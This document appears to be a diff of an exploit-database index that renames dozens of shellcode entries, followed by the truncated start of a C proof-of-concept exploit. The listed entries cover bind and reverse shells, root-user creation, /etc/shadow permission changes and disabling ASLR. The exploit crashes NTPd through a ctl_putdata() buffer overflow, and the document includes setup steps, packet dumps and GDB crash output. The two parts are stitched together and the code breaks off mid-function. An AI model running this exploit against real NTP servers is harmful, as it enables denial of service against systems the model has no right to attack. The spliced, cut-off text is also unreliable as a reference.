Linux - Bind 6778/TCP (XOR Encoded) Polymorphic Shellcode (125 bytes)
Linux - Bind Shell (nc -lp 31337 -e /bin//sh) Polymorphic Shellcode (91 bytes)
ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator)
Linux - setreuid(0_0) + execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes)
Safari 4.0.5 < 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Null-Free Shellcode
Linux - Bind TCP Shell (6778/TCP) XOR Encoded Polymorphic Shellcode (125 bytes)
Linux - Bind Netcat Shell (31337/TCP) Polymorphic Shellcode (91 bytes)
ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator)

Win32 - Write-to-file Shellcode (278 bytes)
Windows x86 - Write-to-file Null-Free Shellcode (278 bytes)
Linux/x86 - Bind Shell Netcat 8080/TCP Shellcode (75 bytes)
Linux/x86 - /bin/sh Polymorphic Null-Free Shellcode (46 bytes)
Windows XP SP3 English - MessageBoxA Shellcode (87 bytes)
BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes)
Win32 - Checksum Routine Shellcode (18 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes)
Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes)
Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes)
BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes)
Windows x86 - Checksum Routine Shellcode (18 bytes)

Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes)
Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes)
Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes)
Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes)
Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes)
Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes)
ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode
ARM - Loader Port 0x1337 Shellcode
ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode
ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode
ARM - Loader (0x1337/TCP) Shellcode
ARM - ifconfig eth0 192.168.0.2 up Shellcode
ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes)
Win32 - Speaking 'You got pwned!' Shellcode
FreeBSD/x86 - connect back Shellcode (81 bytes)
BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes)
Win32 - eggsearch Shellcode (33 bytes)
Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes)
Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes)
OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes)
Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes)
Linux/x86 - ASLR deactivation Shellcode (83 bytes)
Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit)
Linux/x86 - Reverse  TCP SSL Shell (localhost:8080) Shellcode (422 bytes)
ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator)
Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator)
BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes)
Windows x86 - eggsearch Shellcode (33 bytes)
Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes)
Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes)
OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes)
Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes)
Linux/x86 - Disable ASLR Security Shellcode (83 bytes)
Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit)
Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes)
Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes)
Linux/x86 - Egghunter Shellcode (29 bytes)
Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes)
Linux/x86 - Egghunter Null-Free Shellcode (29 bytes)
Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes)
Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes)
Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator)
Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes)

Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes)
Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes)

Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes)
Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes)

Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode
Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode

Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes)
Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes)

Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes)
Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes)

Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes)
Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes)
Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes)
Windows x64 - Bind TCP Shell Shellcode (508 bytes)
Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes)
Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes)

Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes)
Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes)

Windows RT ARM - Bind Shell 4444/TCP Shellcode
Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode
Windows - Messagebox Shellcode (113 bytes)
Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)
Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes)
Windows - Add Administrator 'BroK3n' Shellcode (194 bytes)
Windows - Messagebox Null-FreeShellcode (113 bytes)
Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes)
Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes)
Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes)
Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes)
Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes)
Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes)
Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes)
Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes)
Windows XP x86-64 - Download File + Execute Shellcode (Generator)
Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes)
Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes)
Windows XP x86-64 - Download File + Execute Shellcode (Generator)
Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes)
Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes)
Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes)
Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes)
Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes)
Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes)
Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes)
Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes)
Linux/x86 - Disable ASLR Shellcode (84 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes)
Linux/x86 - Disable ASLR Security Shellcode (84 bytes)
Linux/x86 - Typewriter Shellcode (Generator)
Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes)
Linux/x86 - Typewriter Shellcode (Generator)
Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes)
Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes)
Win32/XP SP3 - Restart computer Shellcode (57 bytes)
Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator)
Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes)
Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes)
Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator)

Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes)
Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes)
Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - execve /bin/sh Shellcode (21 bytes)
Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes)
Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes)
Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes)
Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes)
Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes)
Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes)
Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes)
Linux/x86 - exec('/bin/dash') Shellcode (45 bytes)
Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes)
Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes)
Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes)
Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes)
Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode
Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes)
Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode
Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes)
Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes)
Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode
Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes)
Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode
OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes)
Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes)
OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes)
Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes)

Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator)
Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator)
OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes)
Linux/x86-64 - /bin/sh Shellcode (34 bytes)
Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes)
OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes)
Linux/x86-64 - execve /bin/sh Shellcode (34 bytes)
Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes)

Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes)
Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes)
Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python)
Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes)
Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes)
Windows XP < 10 - WinExec Null-Free Shellcode (Generator)
Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes)
Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes)

Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes)
Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes)

Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes)
Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes)

Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes)
Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes)
Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes)
Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes)

Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes)
Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes)

Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes)

Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes)
Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes)
Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes)
Win32 .Net Framework - Execute Native x86 Shellcode
Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes)
Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes)
Windows .Net Framework x86 - Execute Native x86 Shellcode
Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes)
Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes)

Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator)
Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes)
Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes)
Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes)
Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes)
Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes)
BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes)

Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes)
Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes)
Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode
Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes)
Linux/x86-64 - Bind Netcat Shellcode (64 bytes)
Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes)
Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes)
Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes)
Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes)
Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode
Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes)
Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes)
Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes)
Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes)
Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes)
Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes)
Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes)
Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes)
Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes)
Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes)
Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes)
Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes)
Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes)
Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes)
Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes)

Windows x64 - WinExec() Shellcode (93 bytes)
Windows x64 - cmd.exe WinExec() Shellcode (93 bytes)

Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes)
Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes)
Linux/x86 - Reverse Netcat + mkfifo  (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes)
Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes)
Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes)
Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes)

Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes)
Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes)
Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes)
Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes)
Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes)
Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator)
Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes)
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Php Cloud mining Script - Authentication Bypass
(Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
2017-08-23 05:01:29 +00:00

1154 lines
No EOL
28 KiB
C
Executable file
Raw Blame History

/*
Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow
Author: Marcin Kozlowski <marcinguy@yahoo.com>
Based on: ntpq client from ntp package
Provided for legal security research and testing purposes ONLY
PoC
DoS (Denial of Service) PoC. Will crash NTPd.
You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf
--------------
/etc/ntp.conf
--------------
keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1
and in /etc/ntp.keys
-------------
/etc/ntp.keys
-------------
1 M 1111111
1 is KEY ID
1111111 is MD5 password
Hostname and Port is hardcoded in the code. Change it if you want :)
gcc ntpd-exp.c -o ntpd-exp
./ntpd-exp
Keyid: 1
MD5 Password:
Sending 988 octets
Packet data:
16 08 00 00 00 00 00 00
00 00 03 b7 73 65 74 76
...
00 00 00 01 28 05 99 c2
16 ba a7 b7 8d d3 22 00
0c f7 6a 5f
Sending 36 octets
Packet data:
16 02 00 00 00 00 00 00
00 00 00 01 41 00 00 00
00 00 00 01 7b a5 e6 6e
e7 a7 f7 cd 65 8f 1d 5f
51 92 d0 41
KABOOM Ntpd should crash!!!
GDB output:
Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>)
at ntp_control.c:2300
2300 for (i = 0; ext_sys_var &&
(gdb)
If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more:
http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html
*/
#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
typedef unsigned short associd_t; /* association ID */
typedef uint32_t keyid_t;
typedef int SOCKET;
struct sockaddr_in serverAddr;
socklen_t addr_size;
#define CTL_MAX_DATA_LEN 1300
#define MAX_MAC_LEN (6 * sizeof(uint32_t)) /* SHA */
#define MODE_CONTROL 6 /* control mode */
#define CTL_OP_CONFIGURE 8
#define CTL_OP_READVAR 2
#define CTL_OP_MASK 0x1f
#define NID_md5 4
#define NTP_MAXKEY 65535
/*
* Stuff for putting things back into li_vn_mode
*/
#define PKT_LI_VN_MODE(li, vn, md) \
((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f,w,x,y,z,in,s) \
(w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)
struct ntp_control {
u_char li_vn_mode; /* leap, version, mode */
u_char r_m_e_op; /* response, more, error, opcode */
u_short sequence; /* sequence number of request */
u_short status; /* status word for association */
associd_t associd; /* association ID */
u_short offset; /* offset of this batch of data */
u_short count; /* count of data in this packet */
u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */
};
#define NTP_OLDVERSION ((u_char)1)
u_char pktversion = NTP_OLDVERSION + 1;
#define CTL_HEADER_LEN (offsetof(struct ntp_control, data))
/*
* COUNTOF(array) - size of array in elements
*/
#define COUNTOF(arr) (sizeof(arr) / sizeof((arr)[0]))
/*
* Sequence number used for requests. It is incremented before
* it is used.
*/
u_short sequence;
/*
* Flag which indicates we should always send authenticated requests
*/
int always_auth = 0;
/*
* Keyid used for authenticated requests. Obtained on the fly.
*/
u_long info_auth_keyid = 0;
static int info_auth_keytype = NID_md5; /* MD5 */
static size_t info_auth_hashlen = 16; /* MD5 */
int debug = 10;
SOCKET sockfd; /* fd socket is opened on */
char currenthost[256]; /* current host name */
char *progname = "exp";
struct savekey {
struct savekey *next;
union {
u_char MD5_key[64]; /* for keys up to to 512 bits */
} k;
keyid_t keyid; /* key identifier */
int type; /* key type */
u_short flags; /* flags that wave */
u_long lifetime; /* remaining lifetime */
int keylen; /* key length */
};
/*
* The key cache. We cache the last key we looked at here.
*/
keyid_t cache_keyid; /* key identifier */
u_char *cache_key; /* key pointer */
u_int cache_keylen; /* key length */
int cache_type; /* key type */
u_short cache_flags; /* flags that wave */
#define KEY_TRUSTED 0x001 /* this key is trusted */
#define MEMINC 12
#define EVP_MAX_MD_SIZE 64
typedef struct {
uint32_t buf[4];
uint32_t bytes[2];
uint32_t in[16];
} isc_md5_t;
/*
* ntp_md5.h: deal with md5.h headers
*
* Use the system MD5 if available, otherwise libisc's.
*/
typedef isc_md5_t MD5_CTX;
#define MD5Init(c) isc_md5_init(c)
#define MD5Update(c, p, s) isc_md5_update(c, p, s)
#define MD5Final(d, c) isc_md5_final((c), (d)) /* swapped */
/* ssl_init.c */
#ifdef OPENSSL
extern void ssl_init (void);
extern void ssl_check_version (void);
extern int ssl_init_done;
#define INIT_SSL() \
do { \
if (!ssl_init_done) \
ssl_init(); \
} while (0)
#else /* !OPENSSL follows */
#define INIT_SSL() do {} while (0)
#endif
#if defined HAVE_MD5_H && defined HAVE_MD5INIT
# include <md5.h>
#else
typedef isc_md5_t MD5_CTX;
# define MD5Init(c) isc_md5_init(c)
# define MD5Update(c, p, s) isc_md5_update(c, p, s)
# define MD5Final(d, c) isc_md5_final((c), (d)) /* swapped */
#endif
/*
* Provide OpenSSL-alike MD5 API if we're not using OpenSSL
*/
typedef MD5_CTX EVP_MD_CTX;
#define EVP_get_digestbynid(t) NULL
#define EVP_DigestInit(c, dt) MD5Init(c)
#define EVP_DigestUpdate(c, p, s) MD5Update(c, p, s)
#define EVP_DigestFinal(c, d, pdl) \
do { \
MD5Final((d), (c)); \
*(pdl) = 16; \
} while (0)
/*
* The hash table. This is indexed by the low order bits of the
* keyid. We make this fairly big for potentially busy servers.
*/
#define HASHSIZE 64
#define HASHMASK ((HASHSIZE)-1)
#define KEYHASH(keyid) ((keyid) & HASHMASK)
#define min(a,b) (((a) < (b)) ? (a) : (b))
struct savekey *key_hash[HASHSIZE];
u_long authkeynotfound; /* keys not found */
u_long authkeylookups; /* calls to lookup keys */
u_long authnumkeys; /* number of active keys */
u_long authkeyexpired; /* key lifetime expirations */
u_long authkeyuncached; /* cache misses */
u_long authnokey; /* calls to encrypt with no key */
u_long authencryptions; /* calls to encrypt */
u_long authdecryptions; /* calls to decrypt */
struct savekey *authfreekeys;
int authnumfreekeys;
u_long current_time;
/*!
* The core of the MD5 algorithm, this alters an existing MD5 hash to
* reflect the addition of 16 longwords of new data. MD5Update blocks
* the data and converts bytes into longwords for this routine.
*/
void
transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
